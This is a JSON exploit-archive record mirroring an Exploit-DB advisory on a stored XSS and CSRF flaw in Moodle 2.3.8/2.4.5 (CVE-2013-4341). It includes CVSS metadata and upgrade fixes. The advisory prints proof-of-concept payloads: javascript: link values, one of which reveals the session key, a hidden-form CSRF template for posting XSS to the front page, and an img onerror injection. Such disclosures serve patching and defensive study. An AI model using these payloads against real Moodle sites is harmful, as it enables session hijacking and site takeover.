{"exploit":{"id":"EDB-28174","name":"Moodle 2.3.8/2.4.5 - Stored Cross-Site Scripting (XSS) / Cross-Site Request Forgery (CSRF)","description":"Moodle 2.3.8/2.4.5 - Stored Cross-Site Scripting (XSS) / Cross-Site Request Forgery (CSRF)","cves":["CVE-2013-4341"],"author":"Ciaran McNally","published":"2013-09-09","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28174","path":"exploits/php/webapps/28174.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28174.txt","vulnerabilities":[{"id":"CVE-2013-4341","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple cross-site scripting (XSS) vulnerabilities in Moodle through 2.2.11, 2.3.x before 2.3.9, 2.4.x before 2.4.6, and 2.5.x before 2.5.2 allow remote attackers to inject arbitrary web script or HTML via a crafted blog link within an RSS feed.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-4341","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-4341"},"updatedAt":"2024-08-06T16:38:01.995Z","retrievedAt":"2026-11-27T11:10:21.778Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28174.png?v=2","url":"https://exploitbin.com/exploits/EDB-28174","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28174/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28174/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#######################################################################\n\n                             Ciaran McNally\n\nApplication:     Moodle\n                 http://download.moodle.org/\nVersions:        <= 2.3.8, 2.4.5\nPlatforms:       Windows, Mac, Linux\nBug:             Persistant XSS / CSRF\nExploitation:    WEB\nDate:            9 September 2013.\nAuthor:          Ciaran McNally\nWeb:             http://makthepla.net/blog/=/moodle-2-account-takeover\nMy Twitter:\t\t https://twitter.com/ciaranmak\n\n#######################################################################\n\n1) Bug.\n2) The exploit.\n3) Fix.\n\n#######################################################################\nMoodle is a Course Management System (CMS), also known as a Learning\nManagement System (LMS) or a Virtual Learning Environment (VLE).\nIt is a Free web application that educators can use to create effective\nonline learning sites.\n#######################################################################\n\n======\n1) Bug\n======\nAt the following URL as a student,\n\nhttp://server/blog/external_blog_edit.php\n\nIt is possible to remotely add an rss blog. The <link> parameter in an\nrss feed is vulnerable to javascript injection.\nThis blog post is viewable by everyone on moodle and you can link to it\ndirectly. Upon clicking the \"Link to original blog entry\" link, you\nget javascript execution.\n\nIn moodle the \"sesskey\" parameter holds the session key used to prevent\ncsrf, this isn't unique for every form once logged in so many forms can\nbe submitted using this item. It is available on every page which makes\nxss quite dangerous in this case.\n\n#######################################################################\n\n==============\n2) The exploit\n==============\n\nUsing a link value of <link>javascript:prompt(document.domain);</link>\nThis will display a demonstrative prompt as expected.\n\nFor a live example you can remotely include my blog rss feed.\nhttp://makthepla.net/Rss/\nMy moodle blog post has a <link> value of the following.\njavascript:alert(\"Session key = \"+M.cfg.sesskey+\"\\nUser ID = \"+window.location.search.split(\"=\")[1]);\n\nThis displays the session key and the current users id.\n\n\nIf you can get an admin to click the link and submit the following form\ntrough javascript, you can post xss onto the main login page of your\nvictim moodle site.\n\n<input type=\"hidden\" name=\"id\" value=\"1\">\n<input type=\"hidden\" name=\"sr\" value=\"0\">\n<input type=\"hidden\" name=\"sesskey\" value=\"x\">\n<input type=\"hidden\" name=\"_qf__editsection_form\" value=\"1\">\n<input type=\"hidden\" name=\"mform_isexpanded_id_generalhdr\" value=\"1\">\n<input type=\"hidden\" name=\"userdefaultname\" value=\"1\">\n<input type=\"hidden\" name=\"summary_editor[text]\" value=\"THE FRONT PAGE DATA AND/OR XSS\">\n<input type=\"hidden\" name=\"summary_editor[format]\" value=\"1\">\n<input type=\"hidden\" name=\"summary_editor[itemid]\" value=\"\">\n<input type=\"hidden\" name=\"submitbutton\" value=\"Save+changes\">\n\nYou can read more about this on the original blog post.\nYou can get xss on the main login easily using html such as\n<img src=x onerror=XSS> when posting as an admin via csrf.\n\n\n#######################################################################\n\n======\n3) Fix\n======\n\nhttps://tracker.moodle.org/browse/MDL-41623\n(This requires a login to view)\n\nUpgrade to versions 2.3.9, 2.4.6 and 2.5.2.\n\n#######################################################################\n\n--\nmaK :)","sha256":"6230ad3d1a53135a3e1df797fcf60336c28b1e4ffec49f4a639d8395c179f3cd","bytes":3399,"fetchedAt":"2026-11-27T11:10:21.579Z","encoding":"utf-8 (display only; download retains original bytes)"}